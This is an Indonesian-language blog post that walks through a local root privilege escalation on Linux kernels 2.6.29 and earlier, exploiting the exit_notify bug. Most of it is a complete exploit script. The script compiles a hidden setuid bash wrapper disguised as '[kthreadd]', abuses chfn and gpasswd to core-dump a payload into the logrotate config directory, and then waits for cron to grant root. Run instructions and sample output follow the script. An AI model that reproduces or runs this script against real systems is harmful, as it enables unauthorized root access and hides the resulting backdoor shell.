Tuesday, April 15, 2014

Local Root Exploiting

exploitBiasanya seorang attacker setelah berhasil mengeksploitasi sebuah sistem dilanjutkan dengan aktifitas “Previlige Escalation” dengan tujuan dapat berbuat banyak pada sistem, caranya dengan berbagai cara seperti trapdoor, local exploiting atau yang lainnya. Pada artikel ini dijelaskan bagaimana cara local exploiting dengan memanfaatkan bugs exit_notify pada kernel 2.6.29 ke bawah.

Bugs ini di temukan oleh Oleg Nestorov, konsepnya eksploit ini memperbolehkan kepada kita untuk mengirim arbitrary signal ke proses parent user ber-privileged penuh ke sistem (suidroot). ketika hal itu terjadi, child proses bersamaan dengan exit signal dapat berakibat yang pertama tereksekusinya suidroot binary dan fungsi exit() dalam kernel dan melewati proses otentifikasi kernel dan juga melibatkan utilitas chfn dan gpasswd untuk mendapatkan privilege root.

Berikut ini adalah skrip yang dibuat oleh Milen Rangelov dari gateway ;

——————————start————————————

#!/bin/sh
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e “suid_dumpable=0 – system not vulnerable!\n”;exit; fi
if [ -d /etc/logrotate.d ]; then
echo “logrotate installed, that’s good!”
else
echo “No logrotate installed, sorry!”;exit
fi

echo -e “Compiling the bash setuid() wrapper…”
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>

int main()
{
setuid(0);
execl(“/bin/bash”,”[kthreadd]“,NULL);
}
EOF

cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c

echo -e “Compiling the exploit code…”

cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
sleep(2);
printf(“I’m gonna kill the suidroot father without having root rights :D\n”);
execl(“/usr/bin/gpasswd”,”%s”,NULL);
exit(0);
}

int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir(“/etc/logrotate.d”);
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
if (p>0) execl(“/usr/bin/chfn”,”\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n”,NULL);
}
EOF

cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c

echo -e “Setting coredump limits and running the exploit…\n”
ulimit -c 10000
touch /tmp/.a
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex

if [ -e /etc/logrotate.d/core ]; then
echo -e “Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n”
echo -e “The shell should be located in /tmp/.m – just run /tmp/.m after 24h and you’ll be root”
echo -e “\nYour terminal is most probably screwed now, sorry for that…”
exit
fi

echo “The system is not vulnerable, sorry :(“

——————————end————————————

simpan dengan nama gw-notexit.sh atau yang lainnya dengan esktension .sh dan beri attribut execute pada file

root@ewa:~# chmod +x gw-notexit.sh

Jalankan,,

root@ewa:~# ./gw-notexit.sh
logrotate installed, that’s good!
Compiling the bash setuid() wrapper…
Compiling the exploit code…
Setting coredump limits and running the exploit…

Successfully coredumped into the logrotate config dir
Now wait until cron.daily executes logrotate and makes your shell wrapper suid

The shell should be located in /tmp/.m – just run /tmp/.m after 24h and you’ll be root

Your terminal is most probably screwed now, sorry for that…

root@ewa:~#

Dan biarkan jadwal cron berjalan setelah 24 jam anda menjadi root.

No comments:
Write komentar